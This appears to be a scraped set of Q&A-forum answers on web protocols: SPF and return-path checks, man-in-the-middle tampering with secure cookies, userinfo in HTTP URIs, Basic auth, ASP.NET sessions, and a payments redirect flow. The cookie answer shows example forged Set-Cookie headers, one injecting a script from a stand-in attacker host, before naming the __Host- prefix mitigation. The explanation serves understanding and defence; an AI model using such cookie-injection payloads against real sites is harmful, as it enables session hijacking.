Not quite sure I understand the problem, but lets say I'm sending email through postfix. I do it from domain a.com, in the email from address is mail#b.com and there's a valis txt dns record at b.com that includes a.com domain. All is well at that point.
The return path is:
Return-Path: <a_random_message_id#a.com>
And the authentication results:
Authentication-Results: mx.google.com;
dkim=pass header.i=#b.com header.s=dmnkey header.b=9Rn2RL3X;
spf=pass (google.com: domain of a_random_message_id#a.com designates 1.2.3.4 as permitted sender) smtp.mailfrom=a_random_message_id#a.com
Does this mean that whenever I send an email, the return path domain is checked instead of from email, and then the dns checked for that domain, to validate spf?
In short, yes. Strictly speaking it's the MAIL FROM envelope sender at the SMTP level that is checked - mainly because this can be checked before the message itself even starts to be sent, saving wasted data transfer. The receiving server takes the envelope sender and adds it as a return-path header on the received message - it's not added by the sender.
Related
Link: https://www.youtube.com/watch?v=ND_IaksBRQE (12:51)
Suppose if man in middle attack is attempted, then the attacker will not be able to decipher the request since it is encrypted. Then how is it possible that they can add can affect the cookie integrity?
How is cookie susceptible to MIM attack when it is using secure attribute over https connection?
In the video at 12:09, the presenter noted, "in any type of clear-text communication, Mallory can still write or change these cookies". The key term is clear-text. You noted how "the attack will not be able to decipher the request since it is encrypted", and that is true if 1) the secure attribute, if supported correctly by the browser, will ensure that the contents of the cookie is sent only through a secured channel from the client's browser to the server, and 2) the secure channel is not compromised in any way. As both of these are typically true in the modern internet under normal and ideal conditions, we can assume that the attacker will not be able to read any secure cookies being a fact.
However, there are definitely ways for Mallory, the party engaging in an MITM attack, to write/change secure cookies. As "a server can't confirm that a cookie was set from a secure origin or even tell where a cookie was originally set" (as it is the design of the cookie mechanism), Mallory can leverage this opening, can trick Alice (the client) to set a cookie on Bob's server at https://bob.example.com/.
I am going to provide a somewhat benign scenario of attack. Assuming Bob's server is naive and will set and a cookie for locking a client out of the server using a header like Set-Cookie: lockout_until=2147483647; Secure (a more savvy user may just delete that cookie and see if Bob's site works again, but digressing a bit here now), we can't assume Mallory can't abuse this fact to get Bob's server to lock Alice out.
If Mallory can get Alice's browser to make a request to http://bob.example.com (even if Bob's server does not listen on port 80 - remember, Mallory already has full control (via MITM) between Alice and Bob) - this can be achieved using various ways, but two examples: 1) Mallory tells Alice to visit http://bob.example.com with a browser through a message or 2) Mallory simply waits patiently for Alice's browser to make a request over port 80 and hope it was made by the browser, and sends a redirect to http://bob.example.com, so that it may get Alice's browser to act on the following response, again sent by Mallory:
Content-Type: text/html
Set-Cookie: lockout_until=2147483647;
Refresh: 0; URL=https://bob.example.com/
If Alice's browser thought it accessed http://bob.example.com and then received the above response, it will faithfully set that cookie, and then make a request to https://bob.example.com and send that newly set cookie that was provided by Mallory to Bob's server, thus triggering the lockout mechanism on Bob's server. So Mallory was successful in their attack in getting Alice being denied from Bob's server by simply being able to write something, despite never being able to read any cookie or data sent between Alice and Bob.
While this was a benign example, but imagine if the application on Bob's server assign a "secure" cookie like name=Alice, and that cookie was used as if a trusted value (e.g. emitted onto markup as Hello ${name}) - the immediate threat should become obvious if the payload Mallory sent contains the following header:
Set-Cookie: name=<script src="http://mal.example.com/payload.js"></script>
Bob's fatal naive trust of cookies effective resulted in a Privilege Escalation Attack, which allowed Mallory to launch a script under their control on Alice's browser that is viewing Bob's website, resulting in the complete compromise of the security of Alice's browser session on Bob's website, and potentially Bob's server if Alice's credentials on that server permits further activity.
Now there is mitigation for this, the __Host- or __Secure- prefix may be used, though the application on Bob's server will need to use and check for this prefix for all the cookies the server sent in order to be secured against this vector of unchecked setting of cookies.
If I were designing an API or protocol that uses HTTP URLs and wanted to use the userinfo subcomponent to designate something other than the requester's user name, would that be in violation of the spec?
E.g. user agent authenticated as user 'a#example.com' makes a request to http://b#example.com/stuff to access data controlled or pertaining to user 'b'.
RFC 3986 3.2.1 just says 'a user name' and not the client's user name:
The userinfo subcomponent may consist of a user name and, optionally, scheme-specific information about how to gain authorization to access the resource.
But RFC 7230 2.7.1 says
A sender MUST NOT generate the userinfo subcomponent (and its "#" delimiter) when an "http" URI reference is generated within a message as a request target or header field value. Before making use of an "http" URI reference received from an untrusted source, a recipient SHOULD parse for userinfo and treat its presence as an error;
Based on the above, it seems you can use the username component to mean what is wanted, but the server just can't respond with links/resource identifiers including a username.
After testing a link (E.g. link) in Firefox, it will display a warning and then make the HTTP request without the username if you choose to continue.)
After the user requests a protected resource X the server responds
with code 401.
The browser prompts the user to inser user-name and
password and automatically re-send the request to the server with
those authentication information
My question is : is this process repeated over and over for each protected resource ?
Look at RFC 2617. There is stated for basic-athentication :
Upon receipt of an unauthorized request for a URI within the
protection space, the origin server MAY respond with a challenge ...
and also
A client SHOULD assume that all paths at or deeper than the depth of
the last symbolic element in the path field of the Request-URI also
are within the protection space specified by the Basic realm value of
the current challenge. A client MAY preemptively send the
corresponding Authorization header with requests for resources in
that space without receipt of another challenge from the server.
Similarly, when a client sends a request to a proxy, it may reuse a
userid and password in the Proxy-Authorization header field without
receiving another challenge from the proxy server.
So, from the server side this may occur at any request the the server deems unauthenticated. If resource Y does not share the prefix that had been yuthenticated with resource X then the server will re-request authentication.
For avoiding this the authentication scheme e.g. could request authentication for a common prefix of the related resources , such that authentication for prefix of resource X also covers resource Y as a prefix. This will allow the client to send the authentication header and cause the server to detect the call as already being authenticated.
Once the user input the password, the browser will remember it.
each time the client request the resource at the same website, the browser will send the authentication header automatically.
How does ASP.NET identify a request and match it to a previous server side session?
E.G:
Client sends first request, server side, setups a session variable. (e.g loggedIn)
Request two comes in, how does the server match this request to the session it created last time? (e.g mac address, ip address etc.)?
I am interested in how this is secure.
There are two basic ways: a cookie and uri.
In a cookie mode, the ASPNET_SessionId cookie is appended to the very first response. The id can change but stays the same as soon as first item is put into the session. You can change the name of the cookie.
In a cookieless mode, the uri gets modified and the session id becomes part of it. Instead of http://foo.bar/qux you have http://foo.bar/(sessionid)/qux
Both modes are handled automatically depending on the configuraion (web.config, session section).
The security mostly depends on a secure channel. The cookie/url can be sniffed and reused if transmitted over unencrypted wire.
Is a redirect code returned to the client with a URI that the client needs to be redirected to? Once the user completes additional verification on the Balanced website, how are the results transmitted back to the server? Is it a configurable redirect uri?
Balanced will return you a 300 status code when it fails to identify a merchant. You can resubmit the request with additional information or you can redirect the merchant to the location supplied in the response and Balanced will attempt to gather more information and verify them.
When you redirect the user you must include a redirect_uri paramater which the merchant will be returned to at the end of the identification process.
You can also pass through information in the querystring so that the form is pre-filled for the user. These fields should be the same as you included in the original JSON payload, for a nested dictionary you enclose the field in square brackets. E.g.
{
"name": "Joel Spolskey",
"bank_account": {
"bank_code": 321174851
}
}
Should become
?name=Joel%20Spolskey&bank_account[bank_code]=321174851
Once Balanced has verified the Merchant, the user is redirected back to redirect_uri, along with the Merchant's email address and a new parameter called merchant_uri as an identifier. You would then POST the email_address and merchant_uri parameters to the account endpoint and it will create the account for you. If the user cancels out of the verification process they are redirected to the redirect_uri but doing a POST on the account endpoint will return the original 300 redirect since they do not have any identifying information in the system.